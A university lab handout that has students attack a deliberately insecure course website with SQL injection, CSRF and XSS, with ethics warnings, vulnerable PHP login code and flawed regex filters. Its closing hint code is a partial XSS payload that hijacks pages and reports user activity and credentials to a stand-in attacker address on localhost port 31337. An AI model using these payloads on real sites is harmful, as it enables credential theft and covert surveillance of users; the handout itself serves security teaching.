Lab 4: Web Security

Submission policy. Part 1 is due on **Thursday, March 16, 2017** at **11:59PM** and Parts 2, 3 and the bonus are due on **Tuesday, March 28, 2017** at **11:59PM** via websubmit, following the submission checklist below. Late submissions will be penalized according to course policy. Your writeup MUST include the following information:

1. List of collaborators (on all parts of the project, not just the writeup)
2. List of references used (online material, course nodes, textbooks, wikipedia, etc.)
3. Number of late days used on this assignment
4. Total number of late days used thus far in the entire semester

If any of this information is missing, at least 20% of the points for the assignment will automatically be deducted from your assignment. See also discussion on plagiarism and the collaboration policy on the course syllabus.

Introduction

In this project, we provide an insecure website, and your job is to attack it by exploiting three common classes of vulnerabilities: cross-site scripting (XSS), cross-site request forgery (CSRF), and SQL injection. You are also asked to exploit these problems with various flawed defenses in place. Understanding how these attacks work will help you better defend your own web applications.

Objectives

- Learn to spot common vulnerabilities in websites and to avoid them in your own projects.
- Understand the risks these problems pose and the weaknesses of naive defenses.
- Gain experience with web architecture and with HTML, JavaScript, and SQL programming.

Administration: This lab will be administered by Sean Smith.

IMPORTANT!!!! Read this First

This project asks you to develop attacks and test them, with our permission, against a target website that we are providing for this purpose. Attempting the same kinds of attacks against other websites without authorization is prohibited by law and university policies and may result in *fines, expulsion, and jail time*. **You must not attack any website without authorization!** Per the course ethics policy, you are required to respect the privacy and property rights of others at all times, *or else you will fail the course.* See the "Ethics" section on the course website.

Target Website

A startup named BUNGLE! is about to launch its first product—a web search engine—but their investors are nervous about security problems. Unlike the Bunglers who developed the site, you took CS 558, so the investors have hired you to perform a security evaluation before it goes live.

BUNGLE! is available for you to test at **http://cs558web.bu.edu/project2/**.

The site is written in Python using the Bottle web framework. Although Bottle has built-in mechanisms that help guard against some common vulnerabilities, the Bunglers have circumvented or ignored these mechanisms in several places. If you wish, you can download and inspect the Python source code at http://www.cs.bu.edu/~goldbe/teaching/HW55814/lab3/web.rar, but this is not necessary to complete the project.

In addition to providing search results, the site accepts logins and tracks users' search histories. It stores usernames, passwords, and search history in a MySQL database.

Before being granted access to the source code, you reverse engineered the site and determined that it replies to five main URLs: `/`, `/search`, `/login`, `/logout`, and `/create`. The function of these URLs is explained below, but if you want an additional challenge, you can skip the rest of this section and do the reverse engineering yourself.

Main page (`/`) The main page accepts `GET` requests and displays a search form. When submitted, this form issues a `GET` request to `/search`, sending the search string as the parameter "`q`".

If no user is logged in, the main page also displays a form that gives the user the option of logging in or creating an account. The form issues `POST` requests to `/login` and `/create`.

Search results (`/search`) The search results page accepts `GET` requests and prints the search string, supplied in the "`q`" query parameter, along with the search results. If the user is logged in, the page also displays the user's recent search history in a sidebar.

Note: Since actual search is not relevant to this project, you might not receive any results.

Login handler (`/login`) The login handler accepts `POST` requests and takes plaintext "`username`" and "`password`" query parameters. It checks the user database to see if a user with those credentials exists. If so, it sets a login cookie and redirects the browser to the main page. The cookie tracks which user is logged in; manipulating or forging it is **not** part of this project.

Logout handler (`/logout`) The logout handler accepts `POST` requests. It deletes the login cookie, if set, and redirects the browser to the main page.

Create account handler (`/create`) The create account handler accepts `POST` requests and receives plaintext "`username`" and "`password`" query parameters. It inserts the username and password into the database of users, unless a user with that username already exists. It then logs the user in and redirects the browser to the main page.

Note: The password is neither sent nor stored securely; however, none of the attacks you implement should depend on this behavior. You should choose a password that other groups will not guess, but never use an important password to test an insecure site!

General Guidelines

Based on your preliminary analysis, you know the site is vulnerable to a variety of common web attacks. In order to make sure BUNGLE! fixes the problems, you need to demonstrate the kind of damage that an attacker could do. The Bunglers have been experimenting with some naïve defenses, so you also need to demonstrate that these provide insufficient protection.
We recommend that you try to develop this project targeting a Firefox browser, which you can download from http://firefox.com. Cross-browser compatibility is one of the major headaches of web development, and recent versions of Chrome and Internet Explorer include different client-side defenses against XSS and CSRF that may interfere with your testing.

The website includes drop-down menus at the top of each page that let you change the CSRF and XSS defenses that are in use. We will not be making use of all these mechanisms for this lab. The solutions you submit must override some specific selections for `csrfdefense=`*n* or `xssdefense=`*n* as specified in each task below. You may not attempt to subvert the mechanism for changing the level of defense in your attacks.

In all parts, you should implement the simplest attack you can think of that defeats the given set of defenses. Do not simply attack the highest level of defense and submit that attack as your solution for all defenses.

The bonus questions are intended to make you think hard. They will demand time and careful thought in order to solve them but we believe them to be a very educative process.

Include your name to all submitted files (as header of the text file and as comment in the HTML).

Resources

The Firefox Web Developer tools will be a tremendous help for this project, particularly the JavaScript console and debugger, DOM inspector, and network monitor. To access them, click the Firefox menu and click Web Developer. See https://developer.mozilla.org/en-US/docs/Tools.

Your solutions will involve manipulating SQL statements and writing web code using HTML, JavaScript, and the jQuery library. Feel free to search the web for answers to basic how-to questions. There are many fine online resources for learning these tools. Here are a few that we recommend:

SQL Tutorial	http://www.w3schools.com/sql/
SQL Statement Syntax	http://dev.mysql.com/doc/refman/5.5/en/sql-syntax.html
Introduction to HTML	https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Introduction
HTTP Made Really Easy	http://www.jmarshall.com/easy/http/
JavaScript 101	https://hsablonniere.github.io/markleft/prezas/javascript-101.html
Using jQuery Core	http://learn.jquery.com/using-jquery-core/
jQuery API Reference	http://api.jquery.com

To learn more about SQL Injection, XSS, and CSRF attacks, and for tips on exploiting them, see:

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
https://www.w3schools.com/sql/sql_injection.asp
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Grading

There is a substantial bonus. Note, however, we will grade the bonus points in a binary fashion: a correct solution will receive all of its allotted points, while an incorrect solution will receive no points (unless otherwise stated).

Part 1. SQL Injection

Your first goal is to demonstrate SQL injection attacks that log you in as an arbitrary user without knowing the password. In order to protect other students' accounts, we've made a series of separate login forms for you to attack that aren't part of the main BUNGLE! site. For each of the following defenses, provide inputs to the target login form that successfully log you in as the user "`victim`" and a brief (2-3 sentences) explanation of why your attack works:

1.0 No defenses. [6 points]
Target: `http://cs558web.bu.edu/sqlinject0/`

1.1 Simple escaping. [6 points]
The server escapes single quotes (`'`) in the inputs by replacing them with two single quotes.

Target: `http://cs558web.bu.edu/sqlinject1/`

1.2 Escaping and hashing. [12 points]
The server uses the following PHP code, which escapes the username and applies the MD5 hash function to the password. (Hint: In MySQL when two binary values are compared, such as "$\xd5S' = ' \xb2$" , the result is True.)

```
 if (isset($_POST['username']) and
isset($_POST['password'])) {
    $username = mysql_real_escape_string($_POST['username']);
    $password = md5($_POST['password'], true);
    $sql_s = "SELECT * FROM users WHERE username='$username' and pw='$password'";
    $rs = mysql_query($sql_s);
    if (mysql_num_rows($rs) > 0) {
        echo "Login successful!";
    } else {
        echo "Incorrect username or password";
    }
}
```

You will need to write a program to produce a working exploit. Please write a python script `sql_1-2.py` that prints out a single working password.

Target: `http://cs558web.bu.edu/sqlinject2/`

What to submit When you successfully log in as `victim`, the server will provide a URL-encoded version of your form inputs. Submit a single text file with the filename `sql.txt` containing these lines as well as the un-encoded form of the sql input you provided and a brief explanation of why it worked. For the last part, submit the single-file source code for the program you wrote as `sql_1-2.py` that prints the sql input, a brief description of how it works and the time it took to execute.

Part 2. Cross-site Request Forgery (CSRF)

Your next task is to demonstrate CSRF vulnerabilities against the login form, and BUNGLE! has provided two variations of their implementation for you to test. Your goal is to construct attacks that surreptitiously cause the victim to log in to an account you control, thus allowing you to monitor the victim's search queries by viewing the search history for this account. For each of the defenses below, create the necessary HTML files that, when opened by a victim, logs their browser into BUNGLE! under the account "`attacker`" and password "`l33th4x`".

Your solutions should not display evidence of an attack; the browser should just display a blank page. (If the victim later visits Bungle, it will say "logged in as attacker", but that's fine for purposes of the project. After all, most users won't immediately notice.)

2.0 No defenses. [12 points]
Target: `/login` with `csrfdefense=0` and `xssdefense=4`
Submission: `csrf_0.html`

2.1 Token validation. [20 points]
The server sets a cookie named `csrf_token` to a random 16-byte value and also includes this value as a hidden field in the login form. When the form is submitted, the server verifies that the client's cookie matches the value in the form. This cookie is not session specific but it remains the same for a given IP, a given browser and a given time window.

To side-step this defense mechanism, we will be using the XSS attack from part 3. Go ahead and do 3.0 first, before proceeding with this part. You need to construct now a single HTML file that upon execution, first hijacks the cookie and then proceeds to log-in as "`attacker`" achieving the same effect as in part 2.0 above.

Target: `/login` with `csrfdefense=1` and `xssdefense=0`
Submission: `csrf_1.html`

What to submit For each part, submit an HTML file with the given name that accomplishes the specified attack against the specified target URL. The HTML files you submit must be self-contained, but they may embed CSS and JavaScript. Your files may also load jQuery from the URL http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js or a newer version of jQuery. **Make sure you test your solutions by opening them as local files in Firefox. We will use this setup for grading.**

Note: Since you're sharing the `attacker` account with other students, we've hard coded it so the search history won't actually update. You can test with a different account you create to see the history change.

Part 3. Cross-site Scripting (XSS)

In this section we will demonstrate a "light" XSS attacks against the BUNGLE! search box, which does not properly filter search terms before echoing them to the results page. For each of the settings below, your goal is to construct an HTML that upon execution, correctly executes the attack specified.

3.0 No defenses. [6 points]
Start with a basic attack, where the payload simply produces an alert box that contains the cookie described in section 2.1 above.
Target: `/search?xssdefense=0`
Submission: `xss_0.html`

3.1 Report cookie. [14 points]
Clearly, the attack above is very limited. An attacker that convinces the victim to run the link does not receive the cookie. For this part, we will strengthen the attack by having it report the victim's cookie back to the attacker. In a real world scenario this report would be received by the attacker's server; for the needs of this lab, attacker and victim are "sitting" at the same machine, hence we will have the attack report the cookie to a"virtual" side channel. Namely, cookie should be reported at the localhost (IP address 127.0.0.1) at port 31337.

In order to capture incoming traffic at port 31337, use Netcat[1] by running `$ nc -l 31337` (code **Hint** at the bonus part below will help you see how to send info back to the "attacker"). Upon execution of the supplied HTML file, an attacker listening to port 31337 should be able to read the csrf token (possibly among other things).
Target: `/search?xssdefense=0`
Submission: `xss_1.html`

3.2 Remove "script". [12 points]
Repeat part 3.1 above but this time the server deploys a defense by removing all occurences of "script" from the submitted search query, using the following code:

```
filtered = re.sub(r"(?i)script", "", input)
```

Target: `/search?xssdefense=1`
Submission: `xss_2.html`

3.3 Remove several tags [12 points]
Repeat part 3.1 above but this time the server deploys a defense by removing the following tags:

```
filtered = re.sub(r"(?i)script|<img|<body|<style|<meta|<embed|<object",
                  "", input)
```

Target: `/search?xssdefense=2`
Submission: `xss_3.txt`

[1] On Windows machines download and install Nmap from here http://nmap.org/download.html. Then from terminal navigate to the folder where you installed it and run `$ ncat -vv -k -l 31337`.

What to submit For each part, submit an HTML file with the given name that accomplishes the specified attack against the specified target URL. The HTML files you submit must be self-contained, but they may embed CSS and JavaScript. Your files may also load jQuery from the URL http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js or a newer version of jQuery. **Make sure you test your solutions by opening them as local files in Firefox. We will use this setup for grading.**

Bonus Part. Persistent Cross-site Scripting (XSS)

Your final goal is to demonstrate XSS attacks against the BUNGLE! search box, which does not properly filter search terms before echoing them to the results page. Your goal is to construct an HTML that upon execution, correctly executes the payload specified, for each of the settings below. Note that you should be able to implement the payload once, then use different means of encoding it to bypass the different defenses. We provide you with some code to get you started for this (see **Hint** below).

Payload

The payload (the code that the attack tries to execute) will be an extended form of spying and password theft. After the victim visits the URL you create, **all functions of the BUNGLE! site should be under control of your code** and should report what the user is doing to a server you control, until the user leaves the site. Your payload needs to accomplish these goals:

Stealth:

- Display all pages correctly, with no significant evidence of attack.
  (Minor text formatting glitches are acceptable.)
- Display normal URLs in the browser's location bar, with no evidence of attack.
  (Hint: Learn about the HTML5 History API.)
- Hide evidence of attack in the BUNGLE! search history view, as long as your code is running.

Persistence:

- Continue the attack if the user navigates to another page on the site by following a link or submitting a form, including by logging in or logging out. (Your code does **not** have to continue working if the user's actions trigger an error that isn't the fault of your code.)
- Continue the attack if the user navigates to another BUNGLE! page by using the browser's back or forward buttons.

Spying: As in part 3.1 above, you should be reporting *all* of the victim's actions (navigation, search, login and logout) back to the attacker. We will again be using port 31337 for this. Note that you should be reporting everything the user is doing, including the particular search terms he queried for, the username and password he used to login and even search terms queried while logged out.

Defenses

There are four different levels of defense. In each case, you should submit the simplest attack you can find that works against that defense; you should not simply attack the highest level and submit your solution for that level for every level. Try to use a different technique for each defense. The Python code that implements each defense is shown below, along with the target URL and the filename you should submit.

4.0 No defenses. [40 points]
For this part only, partial credit can be given depending on how well you achieve the stealth, persistence and spying goals specified above.

Target: `http://cs558web.bu.edu/project2/search?xssdefense=0`
Submission: `pxss_0.html`

4.1 Remove "script". [5 points]

```
filtered = re.sub(r"(?i)script", "", input)
```

Target: `search?xssdefense=1`
Submission: `pxss_1.html`

4.2 Remove several tags. [5 points]

```
filtered = re.sub(r"(?i)script|<img|<body|<style|<meta|<embed|<object",
                  "", input)
```

Target: `search?xssdefense=2`
Submission: `pxss_2.html`

4.3 Remove some punctuation. [20 points]

```
filtered = re.sub(r"[;'\"]", "", input)
```

Target: `search?xssdefense=3`
Submission: `pxss_3.html`

What to submit For each part, submit an HTML file with the given name that accomplishes the specified attack against the specified target URL. The HTML files you submit must be self-contained, but they may embed CSS and JavaScript. Your files may also load jQuery from the URL http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js (or newer). Make sure you test your solutions by opening them as local files in Firefox. We will use this setup for grading.

Hint code

```
 <!-- Partial code --> <meta charset="utf-8">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>

// Extend this function:
function payload(attacker) {
    function log(data) {
        console.log($.param(data))
        $.get(attacker, data);
    }
    function proxy(href) {
        $("html").load(href, function(){
            $("html").show();
            log({event: "nav", uri: href});
            $("#query").val("pwned!");
        });
    }
    $("html").hide();
    proxy("./");
}

function makeLink(xssdefense, target, attacker) {
    if (xssdefense == 0) {
        return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
            encodeURIComponent("<script" + ">" + payload.toString() +
                               ";payload(\"" + attacker + "\");</script" + ">");
    } else {
        // Implement code to defeat XSS defenses here.
    }
}

var xssdefense = 0;
var target = "http://cs558web.bu.edu/project2/";
var attacker = "http://127.0.0.1:31337/";

$(function() {
    var url = makeLink(xssdefense, target, attacker);
    $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
});

</script> <h3></h3>
```